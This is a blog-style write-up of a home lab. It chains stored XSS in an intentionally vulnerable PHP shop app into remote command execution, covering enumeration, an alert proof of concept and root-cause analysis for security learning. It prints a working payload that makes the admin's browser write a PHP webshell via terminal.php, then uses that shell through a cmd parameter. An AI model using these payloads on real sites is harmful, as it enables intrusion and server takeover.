Emoji_ShopXSS2SHELL — Stored XSS to RCE Home Lab

📅 Published 12-08-2026 ·web-securitypentestingattack-techniquespost-exploitationlab-setup

Written By Aryan Giri

Repository: Emoji_ShopXSS2SHELL

Author: Aryan Giri

Lab Overview

Emoji_ShopXSS2SHELL is an intentionally vulnerable, lightweight web application designed for cybersecurity education, authorized security testing, CTF practice, and web application security research.

The lab demonstrates an attack chain involving:

The objective is to understand how a seemingly simple stored XSS vulnerability can become significantly more impactful when it executes inside a privileged administrator's browser session.

Application Setup

After installing and starting the lab, the application is available at:

http://10.19.115.73:8081/login.php

Screenshot 2026-08-12 100207

The application initially presents a login page. Since this is a local intentionally vulnerable lab, a normal user account can be created for testing.

Creating a Normal User

I registered a test account using:

Username: tester1
Password: admin
Screenshot 2026-08-12 100240

After registration completes, the newly created account can be used to authenticate.

Screenshot 2026-08-12 100330

After logging in, the user is redirected to the main application interface.

Exploring the Emoji Shop

The main page contains a list of emojis. Each entry provides access to additional information, including details and comments.

Screenshot 2026-08-12 100359

The comments functionality is particularly interesting because user-controlled content is stored by the application and later rendered to other users.

For testing the administrative impact of the vulnerability, I used two separate Firefox profiles:

Keeping the sessions isolated makes it easier to observe which browser context executes the stored JavaScript.

Administrator Session

The administrator account used for the lab is:

Username: admin
Password: admin123

After logging in as the administrator, the application exposes additional administrative functionality.

Screenshot 2026-08-12 100838

The administrator can access:

admin.php
Screenshot 2026-08-12 100917

The administrative interface provides functionality that is not available to a regular user.

Administrative Command Execution

The lab also exposes a web terminal through:

terminal.php
Screenshot 2026-08-12 101132

The terminal allows commands to be executed through the web application.

There is also an exec.php endpoint capable of command execution, but it requires administrator privileges.

This difference is important to the attack chain: a normal user cannot directly access the privileged command-execution functionality, but stored JavaScript executed inside an administrator's browser can make requests using the administrator's existing privileges.

Directory Enumeration

Although the application is open source and the relevant endpoints are already known, I also performed directory enumeration to demonstrate the reconnaissance phase.

I used Gobuster with the common directory wordlist and PHP extension discovery:

gobuster dir \
  -u http://10.19.115.73:8081 \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php \
  --exclude-length 3449
Screenshot 2026-08-12 134534

The enumeration identifies application endpoints including:

login.php
admin.php
terminal.php
exec.php

The purpose here is not to discover a previously unknown application but to demonstrate how endpoint enumeration fits into a normal web application assessment.

Identifying the Stored XSS

Returning to the normal-user session, I opened an emoji's details and comments interface.

Screenshot 2026-08-12 135725

The comment field accepts HTML/JavaScript content.

I started with a simple proof-of-concept payload:

<script>alert(0)</script>
Screenshot 2026-08-12 135814

After submitting the comment, the JavaScript executes when the affected page is rendered.

Screenshot 2026-08-12 135844

This confirms that the comment is not being safely encoded before being inserted into the page.

The important distinction is that this is stored XSS rather than reflected XSS. The malicious content is persisted by the application and can subsequently execute when another user views the affected content.

Executing the XSS in the Administrator Context

The next step is to observe what happens when the administrator views the stored comment.

I switched back to the administrator Firefox session and opened Comments Overview.

Screenshot 2026-08-12 135918

The stored JavaScript executes in the administrator's browser context.

After dismissing the JavaScript alert, the interface displays the username associated with the comment, while the original comment content is not displayed normally.

Screenshot 2026-08-12 135953

The reason is that the browser interprets the <script> element as executable HTML rather than treating it as ordinary text.

At this point, the vulnerability has crossed an important privilege boundary:

Normal User
    |
    v
Stored Comment
    |
    v
JavaScript Execution
    |
    v
Administrator Browser
    |
    v
Privileged Application Request

From Stored XSS to Command Execution

The administrator's browser can make authenticated requests to privileged endpoints.

The lab's terminal.php endpoint accepts POST requests containing a command. This allows the stored JavaScript to issue a request from the administrator's browser.

For the lab demonstration, I used the following payload to create a PHP command-execution shell:

<script>
fetch('/terminal.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: new URLSearchParams({
        'cmd': `echo '<?php system($_GET["cmd"]); ?>' > /var/www/emoji_shop/shell.php`
    })
});
</script>

The important part of this payload is not the JavaScript itself but the request chain:

Stored XSS
    |
    v
Administrator browser executes JavaScript
    |
    v
Authenticated POST request
    |
    v
terminal.php
    |
    v
Server-side command execution
    |
    v
shell.php created
Screenshot 2026-08-12 140214

Once the malicious comment is stored, I return to the administrator session and open Comments Overview or refresh the page.

The JavaScript executes automatically while the administrator is viewing the stored comment.

▶️ Watch video

The result is that the server creates:

/var/www/emoji_shop/shell.php

Accessing the Webshell

After the payload executes, I return to the normal browser session.

The resulting endpoint can be accessed through:

http://10.19.115.73:8081/shell.php?cmd=id
Screenshot 2026-08-12 140507

The id command confirms that the newly created endpoint is executing commands on the server.

Additional commands can then be supplied through the cmd parameter.

▶️ Watch video

The resulting chain demonstrates how a stored XSS vulnerability can become a server-side command-execution primitive when combined with privileged functionality.

Attack Chain

The complete lab flow can be summarized as:

Normal User
    |
    | submits malicious comment
    v
Stored XSS
    |
    | administrator views comments
    v
Administrator Browser
    |
    | JavaScript executes with admin privileges
    v
terminal.php
    |
    | authenticated command execution
    v
shell.php
    |
    | cmd parameter
    v
Server Command Execution

The individual vulnerabilities become substantially more dangerous when chained together.

A simplified privilege flow looks like:

Low Privilege
     |
     v
Stored XSS
     |
     v
Admin Browser Context
     |
     v
Admin-Only Endpoint
     |
     v
Server Command Execution

Why the Chain Works

The core issue is the combination of multiple trust-boundary failures.

1. User input is stored without safe output encoding

The comment field accepts JavaScript and stores it in a form that is later rendered by another browser.

2. The stored content executes in a privileged context

The administrator visits the page containing the malicious comment, causing the browser to execute the stored JavaScript.

3. Privileged endpoints trust the authenticated browser session

The JavaScript executes from the administrator's browser and can therefore make requests to functionality available to that session.

4. The terminal provides server-side command execution

Once the privileged request reaches terminal.php, the supplied command is executed by the application.

The important lesson is that the XSS itself does not directly execute operating-system commands. Instead, it abuses the administrator's browser context to reach functionality that already has command-execution capability.

Lab Takeaways

This home lab demonstrates an important web exploitation concept:

XSS != automatically RCE

However:

XSS
+
Privileged Session
+
Dangerous Administrative Functionality
=
Potential RCE Chain

A low-privileged stored XSS can therefore become a high-impact vulnerability when privileged application functionality is exposed through the same browser session.

The lab provides a practical environment for studying the relationship between client-side injection, authentication context, authorization boundaries, and server-side command execution.

Repository

The complete intentionally vulnerable application and lab setup are available in the project repository:

Emoji_ShopXSS2SHELL

This lab should only be deployed and tested in an environment where you have explicit authorization to perform security testing.